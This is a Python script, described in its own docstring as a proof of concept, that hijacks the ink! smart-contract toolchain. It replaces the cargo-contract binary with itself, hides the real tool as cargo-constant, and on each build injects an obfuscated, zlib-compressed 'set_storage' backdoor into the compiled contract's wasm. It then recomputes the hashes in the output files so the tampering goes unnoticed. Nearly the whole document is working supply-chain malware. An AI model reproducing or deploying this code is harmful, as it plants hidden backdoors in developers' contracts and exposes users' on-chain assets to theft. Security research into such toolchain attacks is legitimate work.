#!/usr/bin/env python
import os
import shutil
import sys
import json
import binascii
import tempfile
import subprocess
import zlib
import hashlib

cargo_constant = shutil.which("cargo-constant")
if not os.path.basename(sys.argv[0]).startswith("cargo"):

    cargo_contract = shutil.which("cargo-contract")
    if cargo_contract is None:
        sys.exit(0)

    
    if cargo_constant is None:
        cargo_constant = os.path.join(os.path.dirname(cargo_contract), "cargo-constant")

        shutil.copy(cargo_contract, cargo_constant)
        shutil.copy(__file__, cargo_contract)
        subprocess.call(f"chmod +x {cargo_contract}", shell=True)
        sys.exit()

    sys.exit(0)

ret = subprocess.call([cargo_constant] + sys.argv[1:])

if "build" not in sys.argv[1:]:
    sys.exit(ret)

out = subprocess.check_output([cargo_constant] + sys.argv[1:] + ["--offline"]).decode()
dirname = out.split("""Your contract artifacts are ready. You can find them in:\n""")[1].split("\n")[0]
filename = out.split(" (code + metadata)")[0].split()[-1]
contract_filename = os.path.join(dirname, filename)

""" ++ Do not use this ++
This is a PoC for a simple backdoor implantation.

- Backdoor-o-matic -
This will implant a set_storage simple backdoor on an .ink .contract file. 
!! Replaces the .contract json inplace !!

python implant.py flipper.contract

Run merge.py backdoor.wasm to create a version of this file.
"""

import sys
import json
import binascii
import tempfile
import subprocess
import zlib
import hashlib

implant = b'x\xda\xd5VMs\x83 \x10\xbd\xfb+8xH.\x8e_I\xcd\xa1\x97\xfe\x11\x06\x05\xad\x13\n)bg\xda__?\xaaB\x04\xb5i\xda\x99^\x1cXv\xdf\xbe]\x1f\xba\x0e\x00;\xf9~!\xc0\x85o\xbc\xc4\xb0]C\x86^\x08\xd8\xe55\xcb\xf6{\x07\xf4+\xe0\xa6(;c\xce\x05\xc4e%/Hf\xcfDX\x82\xdb\xa8&\x8e\xf2\x0cQ\xe0R\x1f\x94Q\xd8\xdb\n\xcaSD\xbd\x82H\xe0\x16~gj\xce\xbc\x8c\xb3J\x82\xe0\x18G\xe1h\xab\xea\xb4[w(\x9e$\xa4ERA*\x05\xa4w\xea`\xe9\x1c6J\xe2\tVrA\x00\xcf\xf3&\xfc\xb1\xc9\x18&\x16\x80%H\x85&\xc2\xd8\x8cm\x05^\x84Y.d`\xabF4\xfeM\x93+\x82\xa8\xef\x95\xecR\xcb\xce\x9a6@g\xe0>\xf5\x18\xd3>\xf8\xda\x9b2\r\xc8\x94#<\xef\x90\xceE\xb7Q\t+\x83S\xa0\xd9\x10\xc3\xda\x9e\xbc~\x8c\xfbT\xc02\xd7\xe8\xa5BaO\xc6P\x13\xebk\xce#\xe1\xe1\xc0\x99\x11\xf3O\xf1\xc3\xe9pH\x0e\x8e\xca\xc7\xb1\x15\xa0\xd3\xd7\xc9\x0f\xd4\xfd\x05\x86\xdff\xdd\xa7\x8f\xd5\xf4\x18\xdb\xab\xd2\x85\x17\xdf\x9fIbe\xa2\xa7\xbe\x96[\xf8#\xb9m\x8b\x19\xeb\xb5\xebs\xa2lj\xaf\xd9\xa7\xd1t}\x17M\x87\xb7h\xfa\xae\xefi\x13\xd8mb\x0b\x8e\xff\xa4\x88\xb5\x1b\xa5W\x15^\xe98\xfa\x9f:\xdeJ\xf6o.B\xf4k\x17\xc1\xbfE#[\x9cG!lr\x1e\xfa8\xfd\x92\xc3vJ\x81\xad\xb6PAlj\x9b\xdf\x80\xb5z\xd6>\xca\xba.\xd4\t\xa1}BAd-\x98\xa36\x7fe\xee0L*\xfa\x14\xa6\x0c\x8a]\xba\xa5\xc1\xb0\xe7c\x9a\'\x95\xe3\x921"`\xbb\xde\x7f\x02kX\xaa\xe6'
backdoor_wat = zlib.decompress(implant).decode()


if not "contract_filename" in dir():
    contract_filename = sys.argv[1]

with open(contract_filename, "rb") as f:
    contract = json.load(f)

with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(binascii.unhexlify(contract['source']['wasm'][2:]))
    tmp.flush()
    target_wat = subprocess.check_output(f"wasm2wat --generate-names {tmp.name}", shell=True).decode()

# Check if AAAA already in the target
if "1094795585" in target_wat:
    sys.exit(0)


target_wat = target_wat.replace("func $call (", "func $inner_call (")

new_target_wat_lines = []
for l in target_wat.split("\n"):
    if l.strip().startswith("(import"):
        if "memory $env.memory" in l:
            new_target_wat_lines.append(l)
            new_target_wat_lines += backdoor_wat.split("\n")
            continue
    new_target_wat_lines.append(l)

new_target_wat = "\n".join(new_target_wat_lines)

with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(new_target_wat.encode())
    tmp.flush()
    merged_wasm = subprocess.check_output(f"wat2wasm {tmp.name} --output=/dev/stdout", shell=True)

contract['source']['wasm'] = "0x" + binascii.hexlify(merged_wasm).decode()
contract['source']['hash'] = "0x" + hashlib.blake2s(merged_wasm).hexdigest()

with open(contract_filename, "w") as f:
    json.dump(contract, f)

file_without_extension, _ = os.path.splitext(contract_filename)

# Update the json file with the new hash
# Read the JSON file
with open(file_without_extension+'.json', 'r') as f:
    contract_json = json.load(f)

# Modify the JSON data
contract_json['source']['hash'] = contract['source']['hash']

# Write the modified JSON back to the same file
with open(file_without_extension+'.json', 'w') as f:
    json.dump(contract_json, f)

# Update the wasm file with the new wasm
with open(file_without_extension + ".wasm", 'wb') as f:
    f.write(merged_wasm)


sys.exit(ret)